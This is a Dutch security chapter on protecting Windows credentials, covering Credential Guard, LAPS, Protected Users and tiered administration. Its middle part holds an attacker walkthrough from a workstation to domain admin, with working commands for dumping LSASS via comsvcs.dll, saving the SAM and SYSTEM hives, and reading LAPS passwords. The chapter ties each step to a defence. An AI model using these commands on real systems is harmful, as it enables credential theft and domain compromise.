Credential Bescherming
Minder Trust, Minder Schade
Aanvalspaden worden klein zodra rechten, segmenten en beheerkanalen consequent zijn ingericht.
Voor Credential Bescherming blijft de basis hetzelfde: minder impliciet vertrouwen en meer zicht op afwijkend gedrag.
Zo beperk je niet alleen de kans op incidenten, maar vooral ook de omvang en duur als er iets misgaat.
Directe maatregelen (15 minuten)
Waarom dit telt
De kern van Credential Bescherming is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.
Verdediging – Credentials beschermen
Credential Guard
Dit is de single most effective maatregel tegen credential theft. Windows Credential Guard gebruikt virtualization-based security (VBS) om LSASS te isoleren in een aparte Hyper-V container. Zelfs SYSTEM-processen kunnen niet bij de credentials.
Met Credential Guard: - Mimikatz
sekurlsa::logonpasswords faalt - LSASS dumps bevatten geen
bruikbare credentials - Pass-the-Hash is sterk beperkt
Vereisten: - UEFI Secure Boot - TPM 2.0 (aanbevolen) - Windows 10 Enterprise / Education, of Server 2016+ - Geen legacy-applicaties die NTLM v1 of WDigest vereisen
Dat laatste punt is de reden waarom veel organisaties het niet implementeren. Er is altijd die ene legacy-applicatie uit 2008 die alleen met NTLM v1 werkt en die “business critical” is. En dus blijft Credential Guard op de roadmap. Jaar na jaar na jaar.
LAPS – Local Administrator Password Solution
LAPS zorgt ervoor dat elk werkstation een uniek, willekeurig lokaal admin-wachtwoord heeft dat regelmatig wordt geroteerd. De wachtwoorden worden opgeslagen in Active Directory en zijn alleen leesbaar voor geautoriseerde accounts.
Zonder LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je ze allemaal. Met LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je precies dat werkstation.
Het verschil is het verschil tussen het stelen van een loper en het stelen van een enkele sleutel.
# Controleer of LAPS is geconfigureerd (als aanvaller)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd' -ne $null}
# Als je de LAPS wachtwoorden kunt lezen (vereist rechten)
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwdProtected Users group
De Protected Users security group is een onderschatte verdedigingsmaatregel. Leden van deze groep:
- Kunnen niet authenticeren via NTLM (alleen Kerberos)
- Geen WDigest caching, zelfs als het is ingeschakeld
- Geen delegation van credentials
- Kerberos TGT lifetime beperkt tot 4 uur (in plaats van 10)
- Geen caching van credentials op machines waarop ze inloggen
Voeg alle gevoelige accounts toe: domain admins, enterprise admins, service accounts met hoge rechten.
# Voeg een account toe aan Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "admin.vanderberg"Tiered Administration Model
De meest fundamentele maar minst geimplementeerde verdediging: een gelaagd beheersmodel.
- Tier 0: Domain controllers, PKI, ADFS – alleen toegankelijk vanaf dedicated Privileged Access Workstations (PAWs)
- Tier 1: Member servers – beheer vanaf dedicated admin werkstations, niet vanaf reguliere werkstations
- Tier 2: Werkstations – standaard gebruikersrechten, geen lokale admin
De logica is simpel: een domain admin mag nooit inloggen op een werkstation. Als hij dat doet, laat hij credentials achter die gestolen kunnen worden. Door strikte scheiding tussen tiers voorkom je dat een gecompromitteerd werkstation leidt tot domain compromise.
Maar tiered administration is lastig, onpopulair bij systeembeheerders (“ik wil niet steeds van account wisselen”), en vereist discipline. Het is alsof je mensen vertelt dat ze hun autosleutels niet op de keukentafel moeten laten liggen. Iedereen snapt het, niemand doet het.
Het wachtwoord-hergebruik-probleem – De ongemakkelijke waarheid
Laat me even een statistiek delen die me elke keer weer verbijstert. In mijn ervaring – en dit is anekdotisch maar consistent – hergebruikt minimaal 60% van de gebruikers in een gemiddelde organisatie hun wachtwoord op meerdere systemen. Het lokale admin-wachtwoord is hetzelfde op 80% van de werkstations. En de domain admin heeft hetzelfde wachtwoord als zijn persoonlijke Gmail-account.
We weten al twintig jaar dat wachtwoord hergebruik een probleem is. We hebben password managers, we hebben MFA, we hebben biometrische authenticatie, we hebben passkeys. En toch, in 2026, is het meest voorkomende lokale admin-wachtwoord in Nederlandse bedrijven iets als “Welkom01!” of de naam van het bedrijf gevolgd door het jaar.
We noemen het een wachtwoord. Eén woord. Eén geheim dat alles beschermt. En wat doen mensen? Ze schrijven het op een Post-it en plakken het op hun monitor. Dat is geen wachtwoord, dat is een welkomstbord.”
Het grappige is dat organisaties miljoenen uitgeven aan firewalls, SIEM’s, SOC’s, en threat intelligence feeds. En dan logt de CFO in met “Welkom01!” op zijn werkstation, zijn VPN, zijn email, en zijn bankrekening. Al die miljoenen aan beveiliging worden irrelevant door zes toetsaanslagen en een gebrek aan verbeeldingskracht.
De oplossing is niet technisch. De technologie bestaat. Password managers werken. MFA werkt. Credential Guard werkt. De oplossing is organisatorisch: het management moet besluiten dat beveiliging prioriteit heeft boven gemak. En dat is het probleem. Want gemak wint altijd. Gemak is de dood van beveiliging. En beveiliging is het ongewenste kind van IT – iedereen weet dat het bestaat, niemand wil ervoor betalen, en als er iets misgaat is het ineens ieders probleem.
Praktische walkthrough – Van LSASS naar domain admin
Laten we een volledig scenario doorlopen. Je zit op werkstation
WS01 als CORP\jdejong met lokale
admin-rechten.
Stap 1: LSASS dumpen
# Check of PPL actief is
Get-Process lsass | Format-List *protect*
# Als PPL niet actief is (meest voorkomend):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp fullStap 2: Credentials extraheren
Op je eigen machine:
Stap 3: Pass-the-Hash naar de volgende machine
admin.vanderberg is admin op SRV01. Gebruik
de hash:
Stap 4: Op SRV01 – meer credentials
# LSASS opnieuw dumpen
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full
# SAM dumpen voor lokale accounts
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bakStap 5: LaZagne voor extra credentials
Kijk eens aan. Het plaintext wachtwoord. Opgeslagen in PuTTY. Op een server waar de admin dagelijks SSH-sessies opzet naar de domain controller.
Stap 6: Domain controller
Game over. Van werkstation naar domain controller in zes stappen. De totale tijd in een echt assessment: minder dan een uur.
Dit is waarom credential access de heilige graal is. Het is niet spectaculair, het is niet ingewikkeld, het is niet geavanceerd. Het is gewoon het ophalen van sleutels die overal rondslingeren.
De credential chain samengevat
Elke stap in deze keten had voorkomen kunnen worden: - Stap 1: Credential Guard op WS01 had de LSASS dump nutteloos gemaakt - Stap 2: LAPS had ervoor gezorgd dat de lokale admin hash niet herbruikbaar was - Stap 3: Tiered administration had voorkomen dat admin.vanderberg op WS01 inlogde - Stap 4: Een password manager (in plaats van PuTTY saved sessions) had het plaintext wachtwoord niet blootgesteld - Stap 5: Protected Users group had credential caching op SRV01 voorkomen
Vijf verdedigingen. Geen van allen geimplementeerd. Niet omdat ze niet bestaan, niet omdat ze te duur zijn, niet omdat ze te complex zijn. Maar omdat er altijd iets “urgenter” was. Een nieuwe feature, een deadline, een migratie. Beveiliging komt later. Beveiliging komt altijd later. Tot het te laat is.
Aanvullende resources
Credential-bescherming validatie
Valideer defensief of bescherming werkt: controleer Credential Guard-status, RunAsPPL-configuratie, LSASS-protectie en relevante detectieregels in SIEM.
Hashcat snelreferentie
Samenvatting
Credential access is de smeerolie van elke netwerkaanval. Zonder credentials sta je stil. Met credentials beweeg je vrij. De technieken zijn niet nieuw, niet geavanceerd, en niet bijzonder creatief. Ze exploiteren een fundamenteel probleem: Windows bewaart credentials in het geheugen, mensen hergebruiken wachtwoorden, en organisaties implementeren de beschikbare verdedigingen niet.
LSASS bevat de kroonjuwelen en is vaak onbeschermd. De SAM database
is drie reg save-commando’s verwijderd van volledige
blootstelling. Tokens slingeren rond op machines waar admins ooit hebben
ingelogd. En LaZagne haalt wachtwoorden op die mensen bewust hebben
opgeslagen in hun browser, PuTTY, of WinSCP.
De verdedigingen bestaan: Credential Guard, LAPS, Protected Users, tiered administration. Ze werken. Ze zijn bewezen. Ze zijn beschikbaar zonder extra licentiekosten. Maar ze vereisen inspanning, discipline, en de bereidheid om gebruikers even te laten klagen over het ongemak.
In het volgende hoofdstuk verleggen we onze aandacht naar Active Directory Certificate Services – ADCS – waar we ontdekken dat certificaten net zo misbruikbaar zijn als wachtwoorden, maar dan met een langere houdbaarheid.
Volgende: Hoofdstuk 11 – ADCS
Verder lezen in de kennisbank
Deze artikelen in het portaal geven je meer achtergrond en praktische context:
- Firewalls — de uitsmijter die niet alles tegenhoudt
- Netwerksegmentatie — waarom je niet alles aan alles moet knopen
- DNS — het telefoonboek dat het internet bij elkaar houdt
- Logging en monitoring — de bewakingscamera's van je IT-omgeving
- Zero Trust — vertrouw niemand, ook jezelf niet
Je hebt een account nodig om de kennisbank te openen. Inloggen of registreren.
Gerelateerde securitymaatregelen
Deze artikelen bieden aanvullende context en verdieping: